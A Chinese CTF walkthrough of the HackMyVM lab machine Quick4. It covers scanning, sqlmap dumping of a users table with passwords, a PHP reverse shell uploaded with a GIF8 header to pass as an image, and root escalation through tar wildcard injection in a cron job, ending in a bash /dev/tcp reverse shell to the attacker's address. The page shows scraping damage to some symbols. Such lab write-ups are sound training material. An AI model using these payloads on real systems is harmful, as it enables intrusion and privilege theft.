当前位置: 首页 > article >正文

HakcMyVM-Quick4

信息搜集主机发现┌──(kali㉿kali)-[~] └─$ nmap -sn 192.168.2.0/24 Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-15 03:19 EDT Nmap scan report for quick4 (192.168.2.9) Host is up (0.00028s latency). MAC Address: 08:00:27:AA:84:13 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap scan report for kali (192.168.2.15) Host is up. Nmap done: 256 IP addresses (7 hosts up) scanned in 43.54 seconds端口扫描┌──(kali㉿kali)-[~] └─$ nmap -sV -p- 192.168.2.9 Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-15 03:21 EDT Nmap scan report for quick4 (192.168.2.9) Host is up (0.00057s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) MAC Address: 08:00:27:AA:84:13 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.10 seconds漏洞利用目录枚举┌──(kali㉿kali)-[~] └─$ gobuster dir -w SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x html,php,txt,jpg,png,zip,git -u http://192.168.2.9 Gobuster v3.6 by OJ Reeves (TheColonial) Christian Mehlmauer (firefart) [] Url: http://192.168.2.9 [] Method: GET [] Threads: 10 [] Wordlist: SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt [] Negative Status codes: 404 [] User Agent: gobuster/3.6 [] Extensions: html,php,txt,jpg,png,zip,git [] Timeout: 10s Starting gobuster in directory enumeration mode /.php (Status: 403) [Size: 276] /images (Status: 301) [Size: 311] [-- http://192.168.2.9/images/] /index.html (Status: 200) [Size: 51414] /.html (Status: 403) [Size: 276] /img (Status: 301) [Size: 308] [-- http://192.168.2.9/img/] /modules (Status: 301) [Size: 312] [-- http://192.168.2.9/modules/] /careers (Status: 301) [Size: 312] [-- http://192.168.2.9/careers/] /css (Status: 301) [Size: 308] [-- http://192.168.2.9/css/] /lib (Status: 301) [Size: 308] [-- http://192.168.2.9/lib/] /js (Status: 301) [Size: 307] [-- http://192.168.2.9/js/] /customer (Status: 301) [Size: 313] [-- http://192.168.2.9/customer/] /404.html (Status: 200) [Size: 5014] /robots.txt (Status: 200) [Size: 32] /fonts (Status: 301) [Size: 310] [-- http://192.168.2.9/fonts/] /employee (Status: 301) [Size: 313] [-- http://192.168.2.9/employee/] /.php (Status: 403) [Size: 276] /.html (Status: 403) [Size: 276] /server-status (Status: 403) [Size: 276] /logitech-quickcam_w0qqcatrefzc5qqfbdz1qqfclz3qqfposz95112qqfromzr14qqfrppz50qqfsclz1qqfsooz1qqfsopz1qqfssz0qqfstypez1qqftrtz1qqftrvz1qqftsz2qqnojsprzyqqpfidz0qqsaatcz1qqsacatzq2d1qqsacqyopzgeqqsacurz0qqsadisz200qqsaslopz1qqsofocuszbsqqsorefinesearchz1.html (Status: 403) [Size: 276] Progress: 9482032 / 9482040 (100.00%) Finished 看一下/robots.txt┌──(kali㉿kali)-[~] └─$ curl http://192.168.2.9/robots.txt User-agent: * Disallow: /admin//admin是404/employee得到一个登陆页面尝试一下SQL注入┌──(kali㉿kali)-[~] └─$ sqlmap -r sql --batch --dbs available databases [5]: [*] quick [*] information_schema [*] mysql [*] performance_schema [*] sys ┌──(kali㉿kali)-[~] └─$ sqlmap -r sql --batch -D quick --tables Database: quick [2 tables] ------- | cars | | users | ------- ┌──(kali㉿kali)-[~] └─$ sqlmap -r sql --batch -D quick -T cars --dump Database: quick Table: cars [4 entries] ---------------------------------------------------- | id | user_id | brand | type | year | license_plate | ---------------------------------------------------- | 1 | 4 | Ford | Mustang | 1963 | ABC123 | | 2 | 6 | Honda | Civic | 2012 | DEF456 | | 3 | 7 | Mazda | mx5 | 2004 | GHIJ56 | | 4 | 8 | Dodge | RAM1000 | 2020 | KLM789 | ---------------------------------------------------- ┌──(kali㉿kali)-[~] └─$ sqlmap -r sql -D quick -T users --columns --batch Database: quick Table: users [6 columns] ------------------------------------------------------ | Column | Type | ------------------------------------------------------ | name | varchar(255) | | role | enum(admin,employee,customer) | | email | varchar(255) | | id | int | | password | varchar(255) | | profile_picture | varchar(255) | ------------------------------------------------------ ┌──(kali㉿kali)-[~] └─$ sqlmap -r sql -D quick -T users -C email,password,role --dump --threads10 --batch Database: quick Table: users [28 entries] ----------------------------------------------------------------- | email | role | password | ----------------------------------------------------------------- | a.luckyemail.hmv | customer | c1P35bcdw0mF3ExJXG | | andrew.speedquick.hmv | employee | o30VfVgts73ibSboUP | | b.clintwoodemail.hmv | customer | 2yLw53N0m08OhFyBXx | | coos.bustersquick.hmv | employee | f1CD3u3XVo0uXumGah | | d.trumpetemail.hmv | customer | f64KBw7cGvu1BkVwcb | | dick_swettemail.hmv | customer | y6KA4378EbK0ePv5XN | | frankemail.hmv | customer | 155HseB7sQzIpE2dIG | | fred.flinstoneemail.hmv | customer | qM51130xeGHHxKZWqk | | infoquick.hmv | admin | Qe62W064sgRTdxAEpr | | j.bondemail.hmv | customer | 7wS93MQPiVQUkqfQ5T | | j.danielsemail.hmv | customer | yF891teFhjhj0Rg7ds | | j.doeemail.hmv | customer | 0i3a8KyWS2IcbmqF02 | | jack.blackemail.hmv | customer | 1Wd35lRnAKMGMEwcsX | | jane_smithemail.hmv | customer | pL2a92Po2ykXytzX7y | | jeff.andersonquick.hmv | employee | 5dX3g8hnKo7AFNHXTV | | john.smithquick.hmv | employee | 5Wqio90BLd7i4oBMXJ | | juan.mecanicoquick.hmv | employee | 5a34pXYDAOUMZCoPrg | | k.ballemail.hmv | customer | k1TI68MmYu8uQHhfS1 | | lara.johnsonquick.hmv | employee | 5Y7zypv8tl9N7TeCFp | | laura.johnsonemail.hmv | customer | 95T3OmjOV3gublmR7Z | | lee.ka-shingnquick.hmvquick.hmv | employee | am636X6Rh1u6S8WNr4 | | m.monroeemail.hmv | customer | f64KBw7cGvu1BkVwcb | | mike.cooperquick.hmv | employee | Rh978db3URen64yaPP | | misty.cuppemail.hmv | customer | c1P35bcdw0mF3ExJXG | | n.downemail.hmv | customer | Lj9Wr562vqNuLlkTr0 | | nick.greenhornquick.hmv | employee | C3ho049g4kwxTxuSUA | | s.hutsonemail.hmv | customer | sF217VruHNj6wbjofU | | t.greenemail.hmv | customer | 7zQ19L0HhFsivH3zFi | -----------------------------------------------------------------用admin权限账号infoquick.hmv成功登录进后台发现可以上传头像文件尝试上传一个反弹shell?php $sockfsockopen(192.168.2.15,4444);$procproc_open(sh, array(0$sock, 1$sock, 2$sock),$pipes); ?抓包以后在前面添加一个GIF8;伪装成图片GIF8; ?php $sockfsockopen(192.168.2.15,4444);$procproc_open(sh, array(0$sock, 1$sock, 2$sock),$pipes); ?它是上传到了nick用户我们切换过去┌──(kali㉿kali)-[~] └─$ nc -lvnp 4444 listening on [any] 4444 ... connect to [192.168.2.15] from (UNKNOWN) [192.168.2.9] 49508 id uid33(www-data) gid33(www-data) groups33(www-data)权限提升script /dev/null -c bash Script started, output log file is /dev/null. www-dataquick4:/var/www/html/employee/uploads$ id id uid33(www-data) gid33(www-data) groups33(www-data) www-dataquick4:/var/www/html/employee/uploads$ sudo -l sudo -l [sudo] password for www-data: www-dataquick4:/var/www/html/employee$ find / -perm -4000 -type f 2/dev/null ml/employee$ find / -perm -4000 -type f 2/dev/null /snap/snapd/19457/usr/lib/snapd/snap-confine /snap/snapd/20671/usr/lib/snapd/snap-confine /snap/core20/1974/usr/bin/chfn /snap/core20/1974/usr/bin/chsh /snap/core20/1974/usr/bin/gpasswd /snap/core20/1974/usr/bin/mount /snap/core20/1974/usr/bin/newgrp /snap/core20/1974/usr/bin/passwd /snap/core20/1974/usr/bin/su /snap/core20/1974/usr/bin/sudo /snap/core20/1974/usr/bin/umount /snap/core20/1974/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core20/1974/usr/lib/openssh/ssh-keysign /snap/core20/2105/usr/bin/chfn /snap/core20/2105/usr/bin/chsh /snap/core20/2105/usr/bin/gpasswd /snap/core20/2105/usr/bin/mount /snap/core20/2105/usr/bin/newgrp /snap/core20/2105/usr/bin/passwd /snap/core20/2105/usr/bin/su /snap/core20/2105/usr/bin/sudo /snap/core20/2105/usr/bin/umount /snap/core20/2105/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core20/2105/usr/lib/openssh/ssh-keysign /usr/libexec/polkit-agent-helper-1 /usr/bin/sudo /usr/bin/pkexec /usr/bin/passwd /usr/bin/fusermount3 /usr/bin/chfn /usr/bin/mount /usr/bin/su /usr/bin/chsh /usr/bin/umount /usr/bin/newgrp /usr/bin/gpasswd /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/snapd/snap-confine /usr/lib/openssh/ssh-keysign www-dataquick4:/var/www/html/employee$ getcap -r / 2/dev/null getcap -r / 2/dev/null /snap/core20/1974/usr/bin/ping cap_net_rawep /snap/core20/2105/usr/bin/ping cap_net_rawep /usr/bin/ping cap_net_rawep /usr/bin/mtr-packet cap_net_rawep /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_adminep //发现每分钟执行一次/usr/local/bin/backup.sh www-dataquick4:/var/www/html/employee$ cat /etc/crontab cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you dont have to run the crontab # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL/bin/sh # You can also override PATH, but by default, newer versions inherit it from the environment #PATH/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed */1 * * * * root /usr/local/bin/backup.sh 17 * * * * root cd / run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / run-parts --report /etc/cron.monthly ) # www-dataquick4:/var/www/html/employee$ ls -la /usr/local/bin/backup.sh ls -la /usr/local/bin/backup.sh -rwxr--r-- 1 root root 75 Feb 12 2024 /usr/local/bin/backup.sh //tar使用通配符文件名被当成tar参数解析 www-dataquick4:/var/www/html/employee$ cat /usr/local/bin/backup.sh cat /usr/local/bin/backup.sh #!/bin/bash cd /var/www/html/ tar czf /var/backups/backup-website.tar.gz * www-dataquick4:/var/www/html/employee$ cd /var/www/html/ cd /var/www/html/ //创建恶意文件 www-dataquick4:/var/www/html$ touch -- --checkpoint1 touch -- --checkpoint1 www-dataquick4:/var/www/html$ touch -- --checkpoint-actionexecbash shell.sh $ touch -- --checkpoint-actionexecbash shell.sh //写入反弹shell www-dataquick4:/var/www/html$ echo bash -i /dev/tcp/192.168.2.15/1234 01 shell.sh h -i /dev/tcp/192.168.2.15/1234 01 shell.sh www-dataquick4:/var/www/html$ chmod x shell.sh chmod x shell.sh //执行时会变为tar czf ... --checkpoint1 --checkpoint-actionexecbash shell.sh * ┌──(kali㉿kali)-[~] └─$ nc -lvnp 1234 listening on [any] 1234 ... connect to [192.168.2.15] from (UNKNOWN) [192.168.2.9] 33590 bash: cannot set terminal process group (61796): Inappropriate ioctl for device bash: no job control in this shell rootquick4:/var/www/html# id id uid0(root) gid0(root) groups0(root)

相关文章:

HakcMyVM-Quick4

信息搜集 主机发现 ┌──(kali㉿kali)-[~] └─$ nmap -sn 192.168.2.0/24 Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-15 03:19 EDTNmap scan report for quick4 (192.168.2.9) Host is up (0.00028s latency). MAC Address: 08:00:27:AA:84:13 (PCS Systemtechni…...

从‘飞线’到‘倒装’:一文看懂WBCSP和FCCSP封装该怎么选(附内存与处理器封装实战解析)

从‘飞线’到‘倒装’:WBCSP与FCCSP封装技术全维度对比与选型策略 在移动设备处理器和内存芯片的设计中,封装技术直接影响着性能、功耗和体积三大核心指标。当硬件工程师面对WBCSP(引线键合芯片级封装)和FCCSP(倒装芯片…...

2026届最火的AI辅助写作方案实际效果

Ai论文网站排名(开题报告、文献综述、降aigc率、降重综合对比) TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 在当下的学术环境里头,论文重复率过高乃是对毕业以及发表产生影响的关键所在问题…...

TinyML实战:从模型压缩到MCU部署的全链路解析

1. TinyML入门:为什么我们需要在MCU上跑AI? 第一次尝试在STM32F407上部署人脸检测模型时,我被现实狠狠教育了——原以为轻量级的MobileNetV2模型(在PC端只要20MB内存)可以直接运行,结果编译时报错显示内存不…...

不用显示器也能搞定!虚拟机环境下Jetson Nano镜像烧录全流程

无显示器环境下的Jetson Nano镜像烧录实战指南 在边缘计算和嵌入式AI开发领域,Jetson Nano凭借其强大的GPU算力和紧凑的尺寸,成为众多开发者的首选平台。然而,初次接触这块开发板时,镜像烧录过程往往成为第一道门槛——特别是当手…...

瑞芯微开发板避坑指南:yolov5s模型在RK3566上的帧率优化实战

瑞芯微RK3566开发板实战:YOLOv5模型选型与帧率优化全解析 边缘计算设备上的AI模型部署,往往需要在性能和精度之间寻找微妙的平衡。当我们手握一块瑞芯微RK3566开发板,面对YOLOv5系列模型时,如何根据实际场景选择最合适的模型&…...

用Python和sklearn搞定百度慧眼数据:从抓包到坐标转换的完整实战

Python实战:百度慧眼数据爬取与坐标转换全流程解析 当我们需要分析城市人流分布时,百度慧眼提供的热力图数据是个不错的选择。但直接从API获取的数据往往需要经过一系列处理才能用于分析。本文将带你完整走通从数据获取到坐标转换的整个流程,…...

朱雀AIGC检测不通过?手把手教你3步搞定降AI

朱雀AIGC检测不通过?手把手教你3步搞定降AI “论文查了朱雀,AIGC检测没通过,怎么办?” 这个问题最近在各种毕业群里出现的频率越来越高。尤其是2026年毕业季,越来越多的高校把朱雀AIGC检测作为论文提交的硬性要求&…...

朱雀AI检测率高怎么降?保姆级攻略:用嘎嘎降AI从56%降到0%

朱雀AI检测率高怎么降?保姆级攻略:用嘎嘎降AI从56%降到0% 最近好几个同学私信问我:论文交上去之前自己查了一下朱雀,AI检测率直接显示56%,心态都崩了。 别慌。56%看着吓人,但只要方法对,降到学校…...

蓝牙5.0广播包PDU字段逐行解读:从ADV_IND到AUX_CHAIN_IND,手把手教你抓包分析

蓝牙5.0广播包深度解析:从基础字段到实战抓包技巧 在物联网设备爆发式增长的今天,低功耗蓝牙(BLE)技术已经成为连接智能设备的首选方案。作为BLE通信的"敲门砖",广播包承载着设备发现、连接建立和数据交换的…...

别再为显存发愁了:用vLLM 0.6.3在单张3090上部署Qwen2-VL-7B的保姆级调参指南

单卡3090极限调优:Qwen2-VL-7B视觉语言模型高效部署实战手册 当24GB显存遇上70亿参数的视觉语言模型,这场"内存捉襟见肘"的战役该如何打赢?本文将揭示如何通过vLLM 0.6.3的精细调参,让Qwen2-VL-7B在单张RTX 3090上流畅运…...

别再只买NXP了!盘点国产NFC标签芯片(复旦微/飞聚/聚辰)选型指南

国产NFC标签芯片深度选型指南:复旦微、飞聚、聚辰实战对比 在智能硬件和物联网设备爆发式增长的今天,NFC技术因其便捷的"碰一碰"交互方式,正在从传统的支付、门禁领域向更广阔的应用场景扩展。然而,当大多数开发者习惯性…...

新手也能懂:用Python+NumPy模拟雷达快慢时间采样数据矩阵(附代码)

用PythonNumPy模拟雷达快慢时间采样数据矩阵实战指南 雷达信号处理听起来像是硬件工程师的专属领域?其实只要掌握基础Python和NumPy操作,软件开发者也能轻松理解雷达数据的核心逻辑。本文将带你用代码构建快慢时间采样矩阵,无需任何硬件设备&…...

告别复杂多任务学习:深度解读Depth Anything V3如何用‘一个Transformer+一个目标’统一3D重建

深度估计新范式:Depth Anything V3如何用极简架构重塑3D视觉 当计算机视觉领域还在为多视图几何的复杂性绞尽脑汁时,Depth Anything V3(DA3)的出现像一股清流,用"一个Transformer一个目标"的极简设计&#…...

PX4飞控参数调优实战:从“飘”到“稳”,手把手教你调好四旋翼PID

PX4飞控参数调优实战:从“飘”到“稳”,手把手教你调好四旋翼PID 当你第一次放飞自己组装的四旋翼无人机时,那种兴奋感难以言表。但很快,现实给了你当头一棒——无人机在空中像醉汉一样左右摇摆,或者像被风吹动的树叶一…...

告警风暴 vs 告警静默:多模态大模型监控体系的双峰困境破解术(基于200+线上实例的告警压缩率提升87%实践)

第一章:告警风暴 vs 告警静默:多模态大模型监控体系的双峰困境破解术(基于200线上实例的告警压缩率提升87%实践) 2026奇点智能技术大会(https://ml-summit.org) 在超大规模大模型服务集群中,传统阈值驱动的告警机制正…...

SeaTunnel Transform插件实战:从零构建自定义JSON解析器

1. 为什么需要自定义JSON解析器 在实际的数据处理场景中,我们经常会遇到各种复杂的JSON格式数据。就拿最常见的日志处理来说,从Kafka等消息队列获取的原始数据往往包含多层嵌套的JSON结构。比如下面这个典型例子: {"path": "x…...

酷安UWP:在Windows电脑上体验完整酷安社区的终极指南

酷安UWP:在Windows电脑上体验完整酷安社区的终极指南 【免费下载链接】Coolapk-UWP 一个基于 UWP 平台的第三方酷安客户端 项目地址: https://gitcode.com/gh_mirrors/co/Coolapk-UWP 还在为手机小屏幕刷酷安而感到眼睛酸痛吗?想在大屏幕上舒适地…...

如何高效使用KMS_VL_ALL_AIO智能激活工具:完整Windows与Office激活指南

如何高效使用KMS_VL_ALL_AIO智能激活工具:完整Windows与Office激活指南 【免费下载链接】KMS_VL_ALL_AIO Smart Activation Script 项目地址: https://gitcode.com/gh_mirrors/km/KMS_VL_ALL_AIO 还在为Windows系统激活而烦恼吗?每次重装系统后都…...

深入浅出:双三相电机弱磁控制里的‘电压极限圆’与‘电流极限圆’到底怎么用?

深入浅出:双三相电机弱磁控制里的‘电压极限圆’与‘电流极限圆’到底怎么用? 想象一下驾驶电动汽车爬坡时突然失去动力,或是高速巡航时电机发出异常噪音——这些都可能与弱磁控制策略不当有关。对于从事电机控制的工程师而言,理解…...

昆仑通态触摸屏与PLC标签通讯避坑指南:为什么变量名不能用中文?

昆仑通态触摸屏与PLC标签通讯优化实践:变量命名规范与性能提升 在工业自动化项目中,昆仑通态触摸屏与PLC的稳定通讯是确保系统高效运行的关键环节。许多工程师在实际调试中都遇到过通讯卡顿、操作响应延迟的问题,却往往忽略了最基础的变量命名…...

从PPO到Q-learning:手把手教你根据项目需求选对强化学习模式(在线vs离线)

从PPO到Q-learning:实战选型指南与强化学习模式决策框架 引言:当强化学习遇上工程现实 去年夏天,我参与了一个工业机器人抓取系统的优化项目。团队最初选择了PPO算法进行在线训练,结果机械臂在真实环境中频繁发生碰撞,…...

CentOS 7上Python 3.6连接人大金仓KingbaseES V8的保姆级教程(含libkci库配置避坑指南)

CentOS 7上Python 3.6连接KingbaseES V8的深度实践指南 在国产化技术生态快速发展的背景下,人大金仓数据库KingbaseES V8凭借其稳定性和兼容性,逐渐成为企业级应用的热门选择。对于需要在CentOS 7环境下使用Python 3.6进行开发的工程师而言,如…...

从安防到零售:无监督行人Re-ID的5个落地场景与避坑指南

无监督行人重识别技术:五大商业场景的实战解析与优化策略 当商场里的顾客突然消失在监控盲区,又出现在另一个角落时;当机场需要快速定位走散旅客时;当零售品牌想了解顾客在店内的真实动线时——传统监控系统往往束手无策。这正是无…...

GEE实战:基于Landsat8的MNDWI水体提取与城镇环境分析

1. 认识MNDWI:比NDWI更懂城市的水体检索术 第一次用NDWI做水体提取时,我盯着结果图里大片"假水体"直挠头——城市建筑阴影和真实水面在影像上几乎无法区分。直到发现MNDWI(改进的归一化差异水体指数),这个问…...

Mind+ V1.6.2 用户库实战:手把手教你为RFID-RC522模块制作图形化积木

Mind用户库开发实战:从零构建RFID-RC522图形化积木 当我在创客空间第一次看到孩子们面对RFID模块复杂的接线和代码时茫然的眼神,就意识到图形化编程的价值远不止简化操作——它本质上是一种认知翻译器,将底层硬件通信转化为可视化的逻辑单元。…...

AI小白必看!收藏这份「大模型×行业场景」地图,轻松找到你的AI起步点

本文以《大模型与垂直行业综述》为基础,提供了一张「大模型 行业场景」地图,帮助企业认清AI项目方向、起步点和潜在风险。文章建议从「低价值 低投入」场景入手,如内容生产、数字人视频等,积累经验后再逐步挑战高价值项目。同时…...

openEuler 20.03-LTS保姆级安装教程:从镜像下载到SSH远程登录全流程

openEuler 20.03-LTS 全流程安装指南:从零配置到远程管理实战 作为一款面向企业级场景的Linux发行版,openEuler凭借其高性能、高安全性和完善的生态支持,正在成为越来越多开发者和运维人员的首选。本文将带您从镜像下载开始,逐步完…...

2026年AI大模型落地关键:收藏这份“智能体驾驭系统”(Harness)实战指南!

AI Agent产品虽多,但常因缺乏稳定、可控的“驾驭系统”(Harness)而表现不佳。文章阐述Harness作为模型驾驭系统的核心作用,梳理了从Prompt工程到Context工程再到Harness工程的AI Agent发展三阶段。重点解析Harness的五大核心能力&…...

怎么关闭win11 自动更新

文章目录一、临时暂停更新(适合所有版本)二、彻底关闭自动更新方法 1:通过服务管理器(适合所有版本)方法 2:通过组策略(仅限 Win11 专业版/企业版/教育版)方法 3:通过注册…...